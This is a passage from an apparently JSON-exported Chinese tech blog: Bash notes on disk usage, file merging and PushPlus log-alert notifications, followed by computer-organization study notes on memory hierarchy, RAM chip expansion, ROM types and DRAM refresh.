class=\"keyword\"\u003eif\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e result=$(\u003cspan class=\"built_in\"\u003ecat\u003c/span\u003e contents | ack -i \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$want\u003c/span\u003e\u0026#34;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ethen\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$result\u003c/span\u003e\u0026#34;\u003c/span\u003e | mail -s \u003cspan class=\"string\"\u003e\u0026#34;Notification\u0026#34;\u003c/span\u003e youe@mail.com\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;nothing\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efi\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"空间查看\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%A9%BA%E9%97%B4%E6%9F%A5%E7%9C%8B\" class=\"headerlink\" title=\"空间查看\"\u003e\u003c/a\u003e空间查看\u003c/h3\u003e\u003cp\u003e最近经常在用这个指令查看空间使用情况:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e比如看下缓存占用情况啥的:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e❯ sudo \u003cspan class=\"built_in\"\u003edu\u003c/span\u003e -sh ./* 2\u0026gt;/dev/null | \u003cspan class=\"built_in\"\u003esort\u003c/span\u003e -u\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e0 ./motd-news\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e1.4M ./apparmor\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2.0M ./man\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20K ./snapd\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e228K ./fontconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3.8M ./debconf\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e32K ./ldconfig\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./pollinate\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4.0K ./private\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./PackageKit\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./apache2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8.0K ./app-info\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e971M ./apt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"用PushPlus集成事件通知服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E7%94%A8PushPlus%E9%9B%86%E6%88%90%E4%BA%8B%E4%BB%B6%E9%80%9A%E7%9F%A5%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"用PushPlus集成事件通知服务\"\u003e\u003c/a\u003e用PushPlus集成事件通知服务\u003c/h3\u003e\u003cp\u003e这个脚本读取第一,二个命令行参数,然后发送通知。可以跟其他工具串一块,简单实现服务器监控报警功能:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=PUSH_PLUS_TOKEN\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ejson=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$2\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e单行脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003etail\u003c/span\u003e -F /var/log/syslog | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e | \u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e line; \u003cspan class=\"keyword\"\u003edo\u003c/span\u003e bash /path/to/pushplus.sh \u003cspan class=\"string\"\u003e\u0026#34;服务器异常日志\u0026#34;\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\u0026#34;\u003c/span\u003e; \u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e效果如下:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193751.png\" alt=\"添加一个“错误”消息\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193904.png\" alt=\"发送成功\"/\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230610193940.png\"/\u003e\u003c/p\u003e\u003cp\u003e测试就完成了。然后直接nohup丢到后台,就能很方便地实现异常告警了。\u003c/p\u003e\u003ch3 id=\"文本文件合并\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#%E6%96%87%E6%9C%AC%E6%96%87%E4%BB%B6%E5%90%88%E5%B9%B6\" class=\"headerlink\" title=\"文本文件合并\"\u003e\u003c/a\u003e文本文件合并\u003c/h3\u003e\u003cp\u003eThis is technically what \u003ccode\u003ecat\u003c/code\u003e (“concatenate”) is supposed to do, even though most people just use it for outputting files to stdout. If you give it multiple filenames it will output them all sequentially, and then you can redirect that into a new file; in the case of all files just use \u003ccode\u003e./*\u003c/code\u003e (or \u003ccode\u003e/path/to/directory/*\u003c/code\u003e if you’re not in the directory already) and your shell will expand it to all the filenames (excluding hidden ones by default).\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ cat ./* \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eMake sure you don’t use the \u003ccode\u003ecsh\u003c/code\u003e or \u003ccode\u003etcsh\u003c/code\u003e shells for that which expand the glob \u003cem\u003eafter\u003c/em\u003e opening the \u003ccode\u003emerged-file\u003c/code\u003e for output, and that \u003ccode\u003emerged-file\u003c/code\u003e doesn’t exist before hand, or you’ll likely end up with an infinite loop that fills up the filesystem.\u003c/p\u003e\u003cp\u003eThe list of files is sorted lexically. If using \u003ccode\u003ezsh\u003c/code\u003e, you can change the order (to numeric, or by age, size…) with glob qualifiers.\u003c/p\u003e\u003cp\u003eTo include files in sub-directories, use:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003efind . ! -path ./merged-file -type f -exec cat {} + \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eThough beware the list of files is not sorted and hidden files are included. \u003ccode\u003e-type f\u003c/code\u003e here restricts to \u003cem\u003eregular\u003c/em\u003e files only as it’s unlikely you’ll want to include other types of files. With GNU \u003ccode\u003efind\u003c/code\u003e, you can change it to \u003ccode\u003e-xtype f\u003c/code\u003e to also include symlinks to regular files.\u003c/p\u003e\u003cp\u003eWith the zsh shell,\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ecat ./**/*(-.) \u0026gt; merged-file\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eWould do the same (\u003ccode\u003e(-.)\u003c/code\u003e achieving the equivalent of \u003ccode\u003e-xtype f\u003c/code\u003e) but give you a sorted list and exclude hidden files (add the \u003ccode\u003eD\u003c/code\u003e qualifier to bring them back). \u003ccode\u003ezargs\u003c/code\u003e can be used there to work around \u003cem\u003eargument list too long\u003c/em\u003e errors.\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/03/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Script/Bash%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/"},{"title":"计组笔记:第四章-存储系统","time":"2023-05-31T21:55:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"4-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"4.1.概述\"\u003e\u003c/a\u003e4.1.概述\u003c/h2\u003e\u003cp\u003eCPU通过总线,和系统中各部分组件相连接。和它连接的硬件,其中就有一组由各部分组件构成的一个存储系统。此外还有其他通过“接口”和总线相连接的外设。接口中有着一些可编程部分,它们负责统一总线通信协议。\u003c/p\u003e\u003cp\u003eBIOS存储在一个固化的存储芯片中,负责引导系统开机。引导系统加载后,它跳转到系统的内存位置,结束任务。操作系统则负责加载自己的其余部分。\u003c/p\u003e\u003cp\u003e在这个过程中,CPU先从Flash取指令,再从主存MM中取指令,其中也会从硬盘加载指令来执行。\u003c/p\u003e\u003ch3 id=\"4-1-1-存储系统的层次结构\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-1-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F%E7%9A%84%E5%B1%82%E6%AC%A1%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"4.1.1.存储系统的层次结构\"\u003e\u003c/a\u003e4.1.1.存储系统的层次结构\u003c/h3\u003e\u003cp\u003e系统的存储体系属于金字塔型多级结构。从寄存器到Cache,MM,ROM,磁盘,设备的存储速度逐步下降,价格也逐步下降,存储空间也逐步增加。而这整个体系对于CPU而言是一个完整的体系,它们具有寄存器的速度,也具有磁盘的大容量。这就是依靠存储体系实现的。典型的存储体系\u003cstrong\u003e是一个三层结构\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e存储器的三大要求:大容量、高速度、低成本。这三者往往是矛盾的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e本章的重点是Cache部分\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003eCPU中的寄存器一般使用触发器实现。它集成度最低,容量最小,但是速度也最快。Cache使用SRAM实现,MM使用DRAM实现,BIOS使用ROM实现,辅存使用HDD实现,还有其他脱机存储器,比如磁带,光盘等。\u003c/p\u003e\u003cp\u003e现在,CPU内部的Cache也有多级缓存结构,例如L1 Cache,L2 Cache,L3 Cache。\u003c/p\u003e\u003cp\u003e系统的总线分为北桥和南桥,前者速度比较快,跟CPU相连更近;后者离CPU更远,因此更慢。不过现在南北桥已经集成到SoC(System on Chip)了,两个已经合成一个芯片。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601062558.png\"/\u003e\u003c/p\u003e\u003cp\u003e一般存储体系有两种:\u003c/p\u003e\u003cul\u003e\u003cli\u003eCache存储体系 由Cache和主存构成,主要为了提高存储器速度;对系统程序员以上均透明(不可见)\u003c/li\u003e\u003cli\u003e虚拟存储器系统 由主存和磁盘构成,主要是为了扩大容量;对应用程序员透明\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e透明的说法在这些计算机的书里很流行,它的意思不是说可见,而是说它本身和一块玻璃一样,不可被看见。\u003c/p\u003e\u003c/blockquote\u003e\u003ch4 id=\"存储器分类\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#%E5%AD%98%E5%82%A8%E5%99%A8%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"存储器分类\"\u003e\u003c/a\u003e存储器分类\u003c/h4\u003e\u003cp\u003e分类标准:介质、用途、信息易失性、存取方式(随机,例如RAM;顺序访问,例如顺序存取存储器SAM,直接存取存储器DAM)、读写功能(读写,只读)。\u003c/p\u003e\u003cp\u003e也可以如下分类:\u003c/p\u003e\u003cul\u003e\u003cli\u003e基本型存储器\u003cul\u003e\u003cli\u003e半导体\u003cul\u003e\u003cli\u003e易失RAM\u003cul\u003e\u003cli\u003eS(Static)RAM\u003c/li\u003e\u003cli\u003eD(Dynamic)RAM\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e非易失ROM\u003cul\u003e\u003cli\u003eEPROM紫外线擦除\u003c/li\u003e\u003cli\u003eEEPROM($E^2ROM$)电擦除\u003cul\u003e\u003cli\u003eFlash闪速\u003cul\u003e\u003cli\u003eNOR随机访问,可存储固件\u003c/li\u003e\u003cli\u003eNAND只能顺序存储,可以做大容量存储器\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e磁:磁盘\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e复合型存储器\u003cul\u003e\u003cli\u003e半导体:多端口、多体交叉、相联\u003c/li\u003e\u003cli\u003e磁:磁盘阵列(RAID)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-1-2-存储器的性能指标\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-1-2-%E5%AD%98%E5%82%A8%E5%99%A8%E7%9A%84%E6%80%A7%E8%83%BD%E6%8C%87%E6%A0%87\" class=\"headerlink\" title=\"4.1.2.存储器的性能指标\"\u003e\u003c/a\u003e4.1.2.存储器的性能指标\u003c/h3\u003e\u003cp\u003e容量、速度(存取时间;存取周期;存储器带宽,单位时间存储器可以读出/写入的字节数,$B_m=\\frac{n}{t_m}$,分子是每次读写字节数,分母是存取周期)、可靠性、功耗、价格、体积、重量、封装方式、工作电压、环境条件等。\u003c/p\u003e\u003ch3 id=\"4-2-1-随机读写存储器RAM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-1-%E9%9A%8F%E6%9C%BA%E8%AF%BB%E5%86%99%E5%AD%98%E5%82%A8%E5%99%A8RAM\" class=\"headerlink\" title=\"4.2.1.随机读写存储器RAM\"\u003e\u003c/a\u003e4.2.1.随机读写存储器RAM\u003c/h3\u003e\u003col\u003e\u003cli\u003e内部译码结构:\u003col\u003e\u003cli\u003e一维译码:使用类似74138的译码器将地址对应到存储单元\u003c/li\u003e\u003cli\u003e二维译码:一个行选,一个列选,适合大规模存储器的译码\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003cli\u003e单元电路\u003col\u003e\u003cli\u003e静态读写存储器SRAM\u003c/li\u003e\u003c/ol\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e由6个晶体管实现,只要不断电,信息不丢失。初始加电,状态随机。电路中总有晶体管导通,功耗大,集成度不高。\u003cbr/\u003e 2. 动态读写存储器DRAM\u003c/p\u003e\u003cp\u003e四个晶体管实现。内部由电容维持电荷,因此需要定时读取刷新来保持数据。功耗低,集成度高。现在更新的DRAM可以只用一个晶体管和一个电容来实现,因此可以有更高的集成度。通过SenseAMP,可以根据电压变化来刷新存储器的内容。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存构成 1. 单片存储器芯片的连接\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e引脚定义:Dn是数据线,An是地址线,OE是读开关,WE是写开关,CS是控制开关,也就是片选端口。\u003c/p\u003e\u003cp\u003e连接方式如图所示,特殊的部分主要集中在片选端口上。这部分电路叫做内存地址译码电路,它负责选择不同的芯片。注意,上划线的是\u003cstrong\u003e低电平有效端口\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e这里的重点就是地址范围分析。这个很简单,只需要让CS为低电平的信号作为高位,再去看低12位的地址总线就能看出来地址范围了。比如,下图的地址范围就是F0000H~F1FFFH这个地址范围。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601065833.png\"/\u003e\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 2. 内存的字扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e使用$8K*8bit$的SRAM去构成32KB的内存,只需要让二者的位数对应上就行。比如这里就只需要4个这种规格的SRAM芯片。如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071051.png\"/\u003e\u003c/p\u003e\u003cp\u003e所有芯片的Dn和An、OE、WE都并联。而CS则由74138控制片选情况。这时就可以分析得到,从上到下四个芯片的地址范围分别是C0000\u003cdel\u003eC1FFF,C2000\u003c/del\u003eC3FFF,C4000\u003cdel\u003eC5FFF,C6000\u003c/del\u003eC7FFF。这称为字扩展。\u003c/p\u003e\u003cpre\u003e\u003ccode\u003e 3. 内存的位扩展\u003c/code\u003e\u003c/pre\u003e\u003cp\u003e例如,用$2K\u003cem\u003e4bit$的存储芯片构成$2K\u003c/em\u003e8bit$的存储芯片。这种接法如下图所示:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601071451.png\"/\u003e\u003c/p\u003e\u003cp\u003e也是用74138去进行片选,同时BHE也需要控制。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e这里经常会有内存范围的计算。计算地址范围的大小时,记得大地址减去小地址后加一。例如78000H到97FFFH,计算时就应该是用$98000H-78000H=20000H$,也就是$2^{17}$字节(一般都是\u003cstrong\u003e按字节编址\u003c/strong\u003e),因此需要$(2^{17}\\div 2^{10})KB\\div 2KB=64$片这样的芯片。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e可以参考这个例题食用:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230601072428.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"4-2-2-只读存储器ROM\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-2-%E5%8F%AA%E8%AF%BB%E5%AD%98%E5%82%A8%E5%99%A8ROM\" class=\"headerlink\" title=\"4.2.2.只读存储器ROM\"\u003e\u003c/a\u003e4.2.2.只读存储器ROM\u003c/h3\u003e\u003cul\u003e\u003cli\u003e特点:存储信息的非易失性\u003c/li\u003e\u003cli\u003e分类:\u003cul\u003e\u003cli\u003e掩膜型ROM\u003c/li\u003e\u003cli\u003e可编程ROM:PROM、OTP-ROM\u003c/li\u003e\u003cli\u003e可擦写编程ROM:(UV)EPROM、EEPROM、Flash(NOR、NAND)\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch3 id=\"4-2-3-动态存储器\"\u003e\u003ca href=\"https://xeonds.github.io/2023/05/31/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BB%84%E6%88%90%E5%8E%9F%E7%90%86/%E8%AE%A1%E7%BB%84%E7%AC%94%E8%AE%B0%EF%BC%9A%E7%AC%AC%E5%9B%9B%E7%AB%A0-%E5%AD%98%E5%82%A8%E7%B3%BB%E7%BB%9F/#4-2-3-%E5%8A%A8%E6%80%81%E5%AD%98%E5%82%A8%E5%99%A8\" class=\"headerlink\" title=\"4.2.3.动态存储器\"\u003e\u003c/a\u003e4.2.3.动态存储器\u003c/h3\u003e\u003col\u003e\u003cli\u003e一般的动态存储器DRAM:以Intel 2164A为例\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e无论读写,地址都需要分两次来送。第一次时,给RAS一个下降沿,第二次,给CAS一个下降沿,来让芯片读取这两个地址。得到地址之后,芯片把数据送出数据线。这和如今的DRAM芯片一致。它\u003cstrong\u003e每隔2ms刷新一次\u003c/strong\u003e。只需要给RAS一个下降沿,就能刷新一行的DRAM。\u003c/p\u003e\u003cp\u003e这里可能会考到引脚相关的问题,如下所示:\u003c/p\u003e\u003cp\u003e\u003cimg 